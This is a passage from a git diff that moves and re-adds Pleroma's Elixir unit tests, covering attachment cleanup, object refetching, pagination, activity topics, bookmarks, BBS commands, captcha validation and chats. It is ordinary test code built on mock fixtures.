nil - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - end - - test "in subdirectories" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([:instance, :cleanup_attachments], true) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - path = href |> Path.dirname() |> Path.basename() - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - assert Object.get_by_id(attachment.id) == nil - - assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") - end - - test "with dedupe enabled" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([Pleroma.Upload, :filters], [Pleroma.Upload.Filter.Dedupe]) - Pleroma.Config.put([:instance, :cleanup_attachments], true) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - File.mkdir_p!(uploads_dir) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - filename = Path.basename(href) - - assert {:ok, files} = File.ls(uploads_dir) - assert filename in files - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - assert Object.get_by_id(attachment.id) == nil - assert {:ok, files} = File.ls(uploads_dir) - refute filename in files - end - - test "with objects that have legacy data.url attribute" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([:instance, :cleanup_attachments], true) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - {:ok, %Object{}} = Object.create(%{url: "https://google.com", actor: user.ap_id}) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - path = href |> Path.dirname() |> Path.basename() - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - assert Object.get_by_id(attachment.id) == nil - - assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") - end - - test "With custom base_url" do - Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) - Pleroma.Config.put([Pleroma.Upload, :base_url], "https://sub.domain.tld/dir/") - Pleroma.Config.put([:instance, :cleanup_attachments], true) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - user = insert(:user) - - {:ok, %Object{} = attachment} = - Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) - - %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = - note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) - - uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) - - path = href |> Path.dirname() |> Path.basename() - - assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") - - Object.delete(note) - - ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) - - assert Object.get_by_id(note.id).data["deleted"] - assert Object.get_by_id(attachment.id) == nil - - assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") - end - end - - describe "normalizer" do - test "fetches unknown objects by default" do - %Object{} = - object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367") - - assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367" - end - - test "fetches unknown objects when fetch_remote is explicitly true" do - %Object{} = - object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367", true) - - assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367" - end - - test "does not fetch unknown objects when fetch_remote is false" do - assert is_nil( - Object.normalize("http://mastodon.example.org/@admin/99541947525187367", false) - ) - end - end - - describe "get_by_id_and_maybe_refetch" do - setup do - mock(fn - %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")} - - env -> - apply(HttpRequestMock, :request, [env]) - end) - - mock_modified = fn resp -> - mock(fn - %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> - resp - - env -> - apply(HttpRequestMock, :request, [env]) - end) - end - - on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end) - - [mock_modified: mock_modified] - end - - test "refetches if the time since the last refetch is greater than the interval", %{ - mock_modified: mock_modified - } do - %Object{} = - object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") - - Object.set_cache(object) - - assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - - mock_modified.(%Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") - }) - - updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) - object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) - assert updated_object == object_in_cache - assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 - assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 - end - - test "returns the old object if refetch fails", %{mock_modified: mock_modified} do - %Object{} = - object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") - - Object.set_cache(object) - - assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - - assert capture_log(fn -> - mock_modified.(%Tesla.Env{status: 404, body: ""}) - - updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) - object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) - assert updated_object == object_in_cache - assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - end) =~ - "[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d" - end - - test "does not refetch if the time since the last refetch is greater than the interval", %{ - mock_modified: mock_modified - } do - %Object{} = - object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") - - Object.set_cache(object) - - assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - - mock_modified.(%Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") - }) - - updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100) - object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) - assert updated_object == object_in_cache - assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - end - - test "preserves internal fields on refetch", %{mock_modified: mock_modified} do - %Object{} = - object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") - - Object.set_cache(object) - - assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 - assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 - - user = insert(:user) - activity = Activity.get_create_by_object_ap_id(object.data["id"]) - {:ok, activity} = CommonAPI.favorite(user, activity.id) - object = Object.get_by_ap_id(activity.data["object"]) - - assert object.data["like_count"] == 1 - - mock_modified.(%Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/poll_modified.json") - }) - - updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) - object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) - assert updated_object == object_in_cache - assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 - assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 - - assert updated_object.data["like_count"] == 1 - end - end -end diff --git a/test/otp_version_test.exs b/test/otp_version_test.exs deleted file mode 100644 index 7d2538ec8..000000000 --- a/test/otp_version_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.OTPVersionTest do - use ExUnit.Case, async: true - - alias Pleroma.OTPVersion - - describe "check/1" do - test "22.4" do - assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/22.4"]) == - "22.4" - end - - test "22.1" do - assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/22.1"]) == - "22.1" - end - - test "21.1" do - assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/21.1"]) == - "21.1" - end - - test "23.0" do - assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/23.0"]) == - "23.0" - end - - test "with non existance file" do - assert OTPVersion.get_version_from_files([ - "test/fixtures/warnings/otp_version/non-exising", - "test/fixtures/warnings/otp_version/22.4" - ]) == "22.4" - end - - test "empty paths" do - assert OTPVersion.get_version_from_files([]) == nil - end - end -end diff --git a/test/pagination_test.exs b/test/pagination_test.exs deleted file mode 100644 index e526f23e8..000000000 --- a/test/pagination_test.exs +++ /dev/null @@ -1,92 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.PaginationTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Object - alias Pleroma.Pagination - - describe "keyset" do - setup do - notes = insert_list(5, :note) - - %{notes: notes} - end - - test "paginates by min_id", %{notes: notes} do - id = Enum.at(notes, 2).id |> Integer.to_string() - - %{total: total, items: paginated} = - Pagination.fetch_paginated(Object, %{min_id: id, total: true}) - - assert length(paginated) == 2 - assert total == 5 - end - - test "paginates by since_id", %{notes: notes} do - id = Enum.at(notes, 2).id |> Integer.to_string() - - %{total: total, items: paginated} = - Pagination.fetch_paginated(Object, %{since_id: id, total: true}) - - assert length(paginated) == 2 - assert total == 5 - end - - test "paginates by max_id", %{notes: notes} do - id = Enum.at(notes, 1).id |> Integer.to_string() - - %{total: total, items: paginated} = - Pagination.fetch_paginated(Object, %{max_id: id, total: true}) - - assert length(paginated) == 1 - assert total == 5 - end - - test "paginates by min_id & limit", %{notes: notes} do - id = Enum.at(notes, 2).id |> Integer.to_string() - - paginated = Pagination.fetch_paginated(Object, %{min_id: id, limit: 1}) - - assert length(paginated) == 1 - end - - test "handles id gracefully", %{notes: notes} do - id = Enum.at(notes, 1).id |> Integer.to_string() - - paginated = - Pagination.fetch_paginated(Object, %{ - id: "9s99Hq44Cnv8PKBwWG", - max_id: id, - limit: 20, - offset: 0 - }) - - assert length(paginated) == 1 - end - end - - describe "offset" do - setup do - notes = insert_list(5, :note) - - %{notes: notes} - end - - test "paginates by limit" do - paginated = Pagination.fetch_paginated(Object, %{limit: 2}, :offset) - - assert length(paginated) == 2 - end - - test "paginates by limit & offset" do - paginated = Pagination.fetch_paginated(Object, %{limit: 2, offset: 4}, :offset) - - assert length(paginated) == 1 - end - end -end diff --git a/test/pleroma/activity/ir/topics_test.exs b/test/pleroma/activity/ir/topics_test.exs new file mode 100644 index 000000000..4ddcea1ec --- /dev/null +++ b/test/pleroma/activity/ir/topics_test.exs @@ -0,0 +1,145 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Activity.Ir.TopicsTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Activity.Ir.Topics + alias Pleroma.Object + + require Pleroma.Constants + + describe "poll answer" do + test "produce no topics" do + activity = %Activity{object: %Object{data: %{"type" => "Answer"}}} + + assert [] == Topics.get_activity_topics(activity) + end + end + + describe "non poll answer" do + test "always add user and list topics" do + activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}} + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "user") + assert Enum.member?(topics, "list") + end + end + + describe "public visibility" do + setup do + activity = %Activity{ + object: %Object{data: %{"type" => "Note"}}, + data: %{"to" => [Pleroma.Constants.as_public()]} + } + + {:ok, activity: activity} + end + + test "produces public topic", %{activity: activity} do + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "public") + end + + test "local action produces public:local topic", %{activity: activity} do + activity = %{activity | local: true} + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "public:local") + end + + test "non-local action does not produce public:local topic", %{activity: activity} do + activity = %{activity | local: false} + topics = Topics.get_activity_topics(activity) + + refute Enum.member?(topics, "public:local") + end + end + + describe "public visibility create events" do + setup do + activity = %Activity{ + object: %Object{data: %{"attachment" => []}}, + data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]} + } + + {:ok, activity: activity} + end + + test "with no attachments doesn't produce public:media topics", %{activity: activity} do + topics = Topics.get_activity_topics(activity) + + refute Enum.member?(topics, "public:media") + refute Enum.member?(topics, "public:local:media") + end + + test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do + tagged_data = Map.put(data, "tag", ["foo", "bar"]) + activity = %{activity | object: %{object | data: tagged_data}} + + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "hashtag:foo") + assert Enum.member?(topics, "hashtag:bar") + end + + test "only converts strings to hash tags", %{ + activity: %{object: %{data: data} = object} = activity + } do + tagged_data = Map.put(data, "tag", [2]) + activity = %{activity | object: %{object | data: tagged_data}} + + topics = Topics.get_activity_topics(activity) + + refute Enum.member?(topics, "hashtag:2") + end + end + + describe "public visibility create events with attachments" do + setup do + activity = %Activity{ + object: %Object{data: %{"attachment" => ["foo"]}}, + data: %{"type" => "Create", "to" => [Pleroma.Constants.as_public()]} + } + + {:ok, activity: activity} + end + + test "produce public:media topics", %{activity: activity} do + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "public:media") + end + + test "local produces public:local:media topics", %{activity: activity} do + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "public:local:media") + end + + test "non-local doesn't produce public:local:media topics", %{activity: activity} do + activity = %{activity | local: false} + + topics = Topics.get_activity_topics(activity) + + refute Enum.member?(topics, "public:local:media") + end + end + + describe "non-public visibility" do + test "produces direct topic" do + activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}} + topics = Topics.get_activity_topics(activity) + + assert Enum.member?(topics, "direct") + refute Enum.member?(topics, "public") + refute Enum.member?(topics, "public:local") + refute Enum.member?(topics, "public:media") + refute Enum.member?(topics, "public:local:media") + end + end +end diff --git a/test/pleroma/activity_test.exs b/test/pleroma/activity_test.exs new file mode 100644 index 000000000..ee6a99cc3 --- /dev/null +++ b/test/pleroma/activity_test.exs @@ -0,0 +1,234 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ActivityTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.Bookmark + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.ThreadMute + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "returns an activity by it's AP id" do + activity = insert(:note_activity) + found_activity = Activity.get_by_ap_id(activity.data["id"]) + + assert activity == found_activity + end + + test "returns activities by it's objects AP ids" do + activity = insert(:note_activity) + object_data = Object.normalize(activity).data + + [found_activity] = Activity.get_all_create_by_object_ap_id(object_data["id"]) + + assert activity == found_activity + end + + test "returns the activity that created an object" do + activity = insert(:note_activity) + object_data = Object.normalize(activity).data + + found_activity = Activity.get_create_by_object_ap_id(object_data["id"]) + + assert activity == found_activity + end + + test "preloading a bookmark" do + user = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + activity = insert(:note_activity) + {:ok, _bookmark} = Bookmark.create(user.id, activity.id) + {:ok, _bookmark2} = Bookmark.create(user2.id, activity.id) + {:ok, bookmark3} = Bookmark.create(user3.id, activity.id) + + queried_activity = + Ecto.Query.from(Pleroma.Activity) + |> Activity.with_preloaded_bookmark(user3) + |> Repo.one() + + assert queried_activity.bookmark == bookmark3 + end + + test "setting thread_muted?" do + activity = insert(:note_activity) + user = insert(:user) + annoyed_user = insert(:user) + {:ok, _} = ThreadMute.add_mute(annoyed_user.id, activity.data["context"]) + + activity_with_unset_thread_muted_field = + Ecto.Query.from(Activity) + |> Repo.one() + + activity_for_user = + Ecto.Query.from(Activity) + |> Activity.with_set_thread_muted_field(user) + |> Repo.one() + + activity_for_annoyed_user = + Ecto.Query.from(Activity) + |> Activity.with_set_thread_muted_field(annoyed_user) + |> Repo.one() + + assert activity_with_unset_thread_muted_field.thread_muted? == nil + assert activity_for_user.thread_muted? == false + assert activity_for_annoyed_user.thread_muted? == true + end + + describe "getting a bookmark" do + test "when association is loaded" do + user = insert(:user) + activity = insert(:note_activity) + {:ok, bookmark} = Bookmark.create(user.id, activity.id) + + queried_activity = + Ecto.Query.from(Pleroma.Activity) + |> Activity.with_preloaded_bookmark(user) + |> Repo.one() + + assert Activity.get_bookmark(queried_activity, user) == bookmark + end + + test "when association is not loaded" do + user = insert(:user) + activity = insert(:note_activity) + {:ok, bookmark} = Bookmark.create(user.id, activity.id) + + queried_activity = + Ecto.Query.from(Pleroma.Activity) + |> Repo.one() + + assert Activity.get_bookmark(queried_activity, user) == bookmark + end + end + + describe "search" do + setup do + user = insert(:user) + + params = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "http://mastodon.example.org/users/admin", + "type" => "Create", + "id" => "http://mastodon.example.org/users/admin/activities/1", + "object" => %{ + "type" => "Note", + "content" => "find me!", + "id" => "http://mastodon.example.org/users/admin/objects/1", + "attributedTo" => "http://mastodon.example.org/users/admin" + }, + "to" => ["https://www.w3.org/ns/activitystreams#Public"] + } + + {:ok, local_activity} = Pleroma.Web.CommonAPI.post(user, %{status: "find me!"}) + {:ok, japanese_activity} = Pleroma.Web.CommonAPI.post(user, %{status: "更新情報"}) + {:ok, job} = Pleroma.Web.Federator.incoming_ap_doc(params) + {:ok, remote_activity} = ObanHelpers.perform(job) + + %{ + japanese_activity: japanese_activity, + local_activity: local_activity, + remote_activity: remote_activity, + user: user + } + end + + setup do: clear_config([:instance, :limit_to_local_content]) + + test "finds utf8 text in statuses", %{ + japanese_activity: japanese_activity, + user: user + } do + activities = Activity.search(user, "更新情報") + + assert [^japanese_activity] = activities + end + + test "find local and remote statuses for authenticated users", %{ + local_activity: local_activity, + remote_activity: remote_activity, + user: user + } do + activities = Enum.sort_by(Activity.search(user, "find me"), & &1.id) + + assert [^local_activity, ^remote_activity] = activities + end + + test "find only local statuses for unauthenticated users", %{local_activity: local_activity} do + assert [^local_activity] = Activity.search(nil, "find me") + end + + test "find only local statuses for unauthenticated users when `limit_to_local_content` is `:all`", + %{local_activity: local_activity} do + Pleroma.Config.put([:instance, :limit_to_local_content], :all) + assert [^local_activity] = Activity.search(nil, "find me") + end + + test "find all statuses for unauthenticated users when `limit_to_local_content` is `false`", + %{ + local_activity: local_activity, + remote_activity: remote_activity + } do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + + activities = Enum.sort_by(Activity.search(nil, "find me"), & &1.id) + + assert [^local_activity, ^remote_activity] = activities + end + end + + test "all_by_ids_with_object/1" do + %{id: id1} = insert(:note_activity) + %{id: id2} = insert(:note_activity) + + activities = + [id1, id2] + |> Activity.all_by_ids_with_object() + |> Enum.sort(&(&1.id < &2.id)) + + assert [%{id: ^id1, object: %Object{}}, %{id: ^id2, object: %Object{}}] = activities + end + + test "get_by_id_with_object/1" do + %{id: id} = insert(:note_activity) + + assert %Activity{id: ^id, object: %Object{}} = Activity.get_by_id_with_object(id) + end + + test "get_by_ap_id_with_object/1" do + %{data: %{"id" => ap_id}} = insert(:note_activity) + + assert %Activity{data: %{"id" => ^ap_id}, object: %Object{}} = + Activity.get_by_ap_id_with_object(ap_id) + end + + test "get_by_id/1" do + %{id: id} = insert(:note_activity) + + assert %Activity{id: ^id} = Activity.get_by_id(id) + end + + test "all_by_actor_and_id/2" do + user = insert(:user) + + {:ok, %{id: id1}} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) + {:ok, %{id: id2}} = Pleroma.Web.CommonAPI.post(user, %{status: "cofefe"}) + + assert [] == Activity.all_by_actor_and_id(user, []) + + activities = + user.ap_id + |> Activity.all_by_actor_and_id([id1, id2]) + |> Enum.sort(&(&1.id < &2.id)) + + assert [%Activity{id: ^id1}, %Activity{id: ^id2}] = activities + end +end diff --git a/test/pleroma/bbs/handler_test.exs b/test/pleroma/bbs/handler_test.exs new file mode 100644 index 000000000..eb716486e --- /dev/null +++ b/test/pleroma/bbs/handler_test.exs @@ -0,0 +1,89 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.BBS.HandlerTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.BBS.Handler + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureIO + import Pleroma.Factory + import Ecto.Query + + test "getting the home timeline" do + user = insert(:user) + followed = insert(:user) + + {:ok, user} = User.follow(user, followed) + + {:ok, _first} = CommonAPI.post(user, %{status: "hey"}) + {:ok, _second} = CommonAPI.post(followed, %{status: "hello"}) + + output = + capture_io(fn -> + Handler.handle_command(%{user: user}, "home") + end) + + assert output =~ user.nickname + assert output =~ followed.nickname + + assert output =~ "hey" + assert output =~ "hello" + end + + test "posting" do + user = insert(:user) + + output = + capture_io(fn -> + Handler.handle_command(%{user: user}, "p this is a test post") + end) + + assert output =~ "Posted" + + activity = + Repo.one( + from(a in Activity, + where: fragment("?->>'type' = ?", a.data, "Create") + ) + ) + + assert activity.actor == user.ap_id + object = Object.normalize(activity) + assert object.data["content"] == "this is a test post" + end + + test "replying" do + user = insert(:user) + another_user = insert(:user) + + {:ok, activity} = CommonAPI.post(another_user, %{status: "this is a test post"}) + activity_object = Object.normalize(activity) + + output = + capture_io(fn -> + Handler.handle_command(%{user: user}, "r #{activity.id} this is a reply") + end) + + assert output =~ "Replied" + + reply = + Repo.one( + from(a in Activity, + where: fragment("?->>'type' = ?", a.data, "Create"), + where: a.actor == ^user.ap_id + ) + ) + + assert reply.actor == user.ap_id + + reply_object_data = Object.normalize(reply).data + assert reply_object_data["content"] == "this is a reply" + assert reply_object_data["inReplyTo"] == activity_object.data["id"] + end +end diff --git a/test/pleroma/bookmark_test.exs b/test/pleroma/bookmark_test.exs new file mode 100644 index 000000000..2726fe7cd --- /dev/null +++ b/test/pleroma/bookmark_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.BookmarkTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Bookmark + alias Pleroma.Web.CommonAPI + + describe "create/2" do + test "with valid params" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"}) + {:ok, bookmark} = Bookmark.create(user.id, activity.id) + assert bookmark.user_id == user.id + assert bookmark.activity_id == activity.id + end + + test "with invalid params" do + {:error, changeset} = Bookmark.create(nil, "") + refute changeset.valid? + + assert changeset.errors == [ + user_id: {"can't be blank", [validation: :required]}, + activity_id: {"can't be blank", [validation: :required]} + ] + end + end + + describe "destroy/2" do + test "with valid params" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Some cool information"}) + {:ok, _bookmark} = Bookmark.create(user.id, activity.id) + + {:ok, _deleted_bookmark} = Bookmark.destroy(user.id, activity.id) + end + end + + describe "get/2" do + test "gets a bookmark" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "Scientists Discover The Secret Behind Tenshi Eating A Corndog Being So Cute – Science Daily" + }) + + {:ok, bookmark} = Bookmark.create(user.id, activity.id) + assert bookmark == Bookmark.get(user.id, activity.id) + end + end +end diff --git a/test/pleroma/captcha_test.exs b/test/pleroma/captcha_test.exs new file mode 100644 index 000000000..1b9f4a12f --- /dev/null +++ b/test/pleroma/captcha_test.exs @@ -0,0 +1,118 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.CaptchaTest do + use Pleroma.DataCase + + import Tesla.Mock + + alias Pleroma.Captcha + alias Pleroma.Captcha.Kocaptcha + alias Pleroma.Captcha.Native + + @ets_options [:ordered_set, :private, :named_table, {:read_concurrency, true}] + setup do: clear_config([Pleroma.Captcha, :enabled]) + + describe "Kocaptcha" do + setup do + ets_name = Kocaptcha.Ets + ^ets_name = :ets.new(ets_name, @ets_options) + + mock(fn + %{method: :get, url: "https://captcha.kotobank.ch/new"} -> + json(%{ + md5: "63615261b77f5354fb8c4e4986477555", + token: "afa1815e14e29355e6c8f6b143a39fa2", + url: "/captchas/afa1815e14e29355e6c8f6b143a39fa2.png" + }) + end) + + :ok + end + + test "new and validate" do + new = Kocaptcha.new() + + token = "afa1815e14e29355e6c8f6b143a39fa2" + url = "https://captcha.kotobank.ch/captchas/afa1815e14e29355e6c8f6b143a39fa2.png" + + assert %{ + answer_data: answer, + token: ^token, + url: ^url, + type: :kocaptcha, + seconds_valid: 300 + } = new + + assert Kocaptcha.validate(token, "7oEy8c", answer) == :ok + end + end + + describe "Native" do + test "new and validate" do + new = Native.new() + + assert %{ + answer_data: answer, + token: token, + type: :native, + url: "data:image/png;base64," <> _, + seconds_valid: 300 + } = new + + assert is_binary(answer) + assert :ok = Native.validate(token, answer, answer) + assert {:error, :invalid} == Native.validate(token, answer, answer <> "foobar") + end + end + + describe "Captcha Wrapper" do + test "validate" do + Pleroma.Config.put([Pleroma.Captcha, :enabled], true) + + new = Captcha.new() + + assert %{ + answer_data: answer, + token: token + } = new + + assert is_binary(answer) + assert :ok = Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer) + Cachex.del(:used_captcha_cache, token) + end + + test "doesn't validate invalid answer" do + Pleroma.Config.put([Pleroma.Captcha, :enabled], true) + + new = Captcha.new() + + assert %{ + answer_data: answer, + token: token + } = new + + assert is_binary(answer) + + assert {:error, :invalid_answer_data} = + Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", answer <> "foobar") + end + + test "nil answer_data" do + Pleroma.Config.put([Pleroma.Captcha, :enabled], true) + + new = Captcha.new() + + assert %{ + answer_data: answer, + token: token + } = new + + assert is_binary(answer) + + assert {:error, :invalid_answer_data} = + Captcha.validate(token, "63615261b77f5354fb8c4e4986477555", nil) + end + end +end diff --git a/test/pleroma/chat/message_reference_test.exs b/test/pleroma/chat/message_reference_test.exs new file mode 100644 index 000000000..aaa7c1ad4 --- /dev/null +++ b/test/pleroma/chat/message_reference_test.exs @@ -0,0 +1,29 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Chat.MessageReferenceTest do + use Pleroma.DataCase, async: true + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "messages" do + test "it returns the last message in a chat" do + user = insert(:user) + recipient = insert(:user) + + {:ok, _message_1} = CommonAPI.post_chat_message(user, recipient, "hey") + {:ok, _message_2} = CommonAPI.post_chat_message(recipient, user, "ho") + + {:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id) + + message = MessageReference.last_message_for_chat(chat) + + assert message.object.data["content"] == "ho" + end + end +end diff --git a/test/pleroma/chat_test.exs b/test/pleroma/chat_test.exs new file mode 100644 index 000000000..9e8a9ebf0 --- /dev/null +++ b/test/pleroma/chat_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ChatTest do + use Pleroma.DataCase, async: true + + alias Pleroma.Chat + + import Pleroma.Factory + + describe "creation and getting" do + test "it only works if the recipient is a valid user (for now)" do + user = insert(:user) + + assert {:error, _chat} = Chat.bump_or_create(user.id, "http://some/nonexisting/account") + assert {:error, _chat} = Chat.get_or_create(user.id, 